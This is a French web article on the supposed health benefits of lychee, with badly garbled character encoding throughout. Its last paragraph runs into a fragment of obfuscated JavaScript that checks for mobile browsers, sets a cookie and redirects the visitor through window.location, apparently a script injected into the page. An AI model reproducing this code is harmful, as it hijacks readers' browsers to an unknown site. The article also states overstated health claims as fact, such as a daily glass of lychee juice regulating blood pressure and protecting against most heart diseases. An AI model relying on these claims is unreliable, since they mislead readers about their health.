Litchi, le fruit aux 1000 vertus Ai?? consommer Ai??tAi?? comme hiver

TrA?s gourmand et juteux, le litchi est excellent en Ai??tAi??, comme en hiver. Le litchi est un fruit exotique qui dAi??voile tous ses atouts sous une jolie Ai??corce rougeA?tre. Les vertus du litchi ont fait leurs preuves dans des pays comme la Chine ou lai??i??Inde, oA? le fruit est consommAi?? rAi??guliA?rement. Il contient de nombreux nutriments qui renforcent lai??i??organisme.

Le litchi au fil des saisons

Si le litchi est un fruit dai??i??Ai??tAi??, il peut Ai??galement A?tre consommAi?? en hiver, en sirop ou en jus, mA?me si ces modes de conservation contiennent moins de nutriments que les fruits frais. Il possA?de une qualitAi?? trA?s apprAi??ciable pendant les grandes chaleurs estivales : il rAi??gule la tempAi??rature du corps. Cela vous aide Ai?? ne pas trop souffrir dai??i??un coup de chaud.

Le litchi est Ai??galement un mode de protection naturel contre les rayons UV, grA?ce aux polyphAi??nols quai??i??il contient. En hiver, vous ferez le plein de vitamine C, laquelle, en plus dai??i??A?tre excellente pour vos os et votre peau en combinaison avec le calcium, booste vos dAi??fenses immunitaires et vous permet de lutter contre les virus hivernaux, notamment les virus grippaux.

Le litchi, bon pour les artA?res

Le litchi est une excellente source de potassium, qui est essentiel Ai?? la santAi?? de vos cellules sanguines et Ai?? lai??i??Ai??quilibre de votre tension artAi??rielle. Un verre de jus de litchi par jour rAi??gule votre pression artAi??rielle et fait reculer les risques de pathologies cardiovasculaires. Il offre donc une bonne protection contre la plupart des maladies du cAi??ur. Le cuivre est, quant Ai?? lui, nAi??cessaire Ai?? la fabrication des cellules sanguines.

Les vitamines B du litchi sont Ai??galement une bonne faAi??on de prendre soin de votre cAi??ur, car elles aident Ai?? mAi??taboliser les acides gras, en plus des protAi??ines. Avec le litchi, vous mettez toutes les chances de votre cA?tAi?? pour faire baisser votre taux de cholestAi??rol. |83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}